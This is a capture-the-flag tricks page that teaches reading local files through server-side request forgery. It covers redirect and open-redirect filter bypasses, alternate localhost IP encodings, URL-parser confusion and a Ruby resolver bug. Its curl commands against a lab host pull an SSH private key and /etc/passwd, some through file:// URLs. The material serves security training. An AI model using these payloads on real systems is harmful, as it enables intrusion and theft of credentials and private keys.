> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/ssrf/file-access/trick-0009.md).

# SSRF Read Local Files via Directory Listing

***

If an internal service accessible via SSRF exposes directory listings (like a simple HTTP server), you can use the SSRF vulnerability to navigate the local filesystem and read sensitive files.

First, identify the base path of the local service. However, applications often block input containing non-whitelist hostnames, sensitive URLs, or IP addresses like loopback, IPv4 link-local, or private addresses. In this situation, it is sometimes possible to bypass the filter using various techniques.

One common method is to use redirection. If the application validates the initially provided URL but then follows redirects, you can supply a URL that redirects to the desired internal target. You can try using a redirection to the desired URL to bypass the filter. To do this, return a response with the 3xx code and the desired URL in the Location header to the request from the vulnerable server, for example:

```http
HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1
```

If the application contains an open redirection vulnerability, you can use it to bypass the URL filter, for example:

```http
POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
```

These bypass approaches work because the application only validates the provided URL, which triggers the redirect. It follows the redirect and makes a request to the internal URL of the attacker's choice.

Another approach is to use different IP address formats to bypass filters that might be looking for specific patterns like `127.0.0.1`. Some rare IP address formats, defined in RFC 3986, include:

* Dotted hexadecimal IP: `0x7f.0x0.0x0.0x1`
* Dotless hexadecimal IP: `0x7f001`
* Dotless decimal IP: `2130706433`
* Dotted octal IP: `0177.0.0.01`

You can also short-hand IP addresses by dropping the zeros:

```
127.1  => 127.0.0.1
127.0.1 => 127.0.0.1
0      => 0.0.0.0
```

IPv6 addresses for localhost can also be used:

```
[::]
0000::1
[::1]
```

Or IPv4-mapped IPv6 addresses:

```
[::ffff:7f00:1]
[::ffff:127.0.0.1]
```

URL parsers can also be a source of bypasses. The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:

* Embedded credentials in a URL before the hostname, using the `@` character: `https://expected-host@evil-host` (if validation checks `expected-host` but the request targets `evil-host`)
* Indication of a URL fragment using the `#` character: `https://evil-host#expected-host`
* DNS naming hierarchy: `https://expected-host.evil-host`
* URL-encode characters. This can help confuse URL-parsing code, especially if the filter handles URL-encoded characters differently than the code performing the back-end HTTP request.

In some specific environments, like Ruby, bugs in native resolvers can be abused. For example, `Resolv::getaddresses` is OS-dependent, and certain IP formats might return blank values, bypassing IP blocklists:

```ruby
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass
```

Once you can reach the internal service, identify its base path:

```bash
curl 'http://beta.creative.thm/' -X POST -d 'url=http://127.0.0.1:1337/' -s | html2text
```

Then, traverse directories discovered from the listing:

```bash
curl 'http://beta.creative.thm/' -X POST -d 'url=http://127.0.0.1:1337/home/' -s | html2text
```

Finally, request the path to the desired file found during traversal to read its content:

```bash
curl 'http://beta.creative.thm/' -X POST -d 'url=http://127.0.0.1:1337/home/saad/.ssh/id_rsa' -s > id_rsa
```

Beyond interacting with HTTP services, SSRF vulnerabilities can sometimes be exploited using different URL schemes to directly access resources. The `file://` scheme is particularly potent for reading local files:

```
file://path/to/file
```

For instance, to read `/etc/passwd`, the SSRF payload might look like:

```bash
curl 'http://beta.creative.thm/' -X POST -d 'url=file:///etc/passwd' -s
```

Specific server-side environments might have unique ways of interpreting URL schemes. For example, Java's `URL` class will correctly handle URLs prefixed with `url:`, such as:

```
url:file:///etc/passwd
```

In Node.js for Windows, any single letter in a URL scheme might be interpreted as `drive://filepath`, setting the protocol to `file://`. For example:

```javascript
// Node.js (Windows only)
// the following row will return `file:`
new URL('l://file').protocol
```

This behavior could be used to obfuscate a `file://` request.
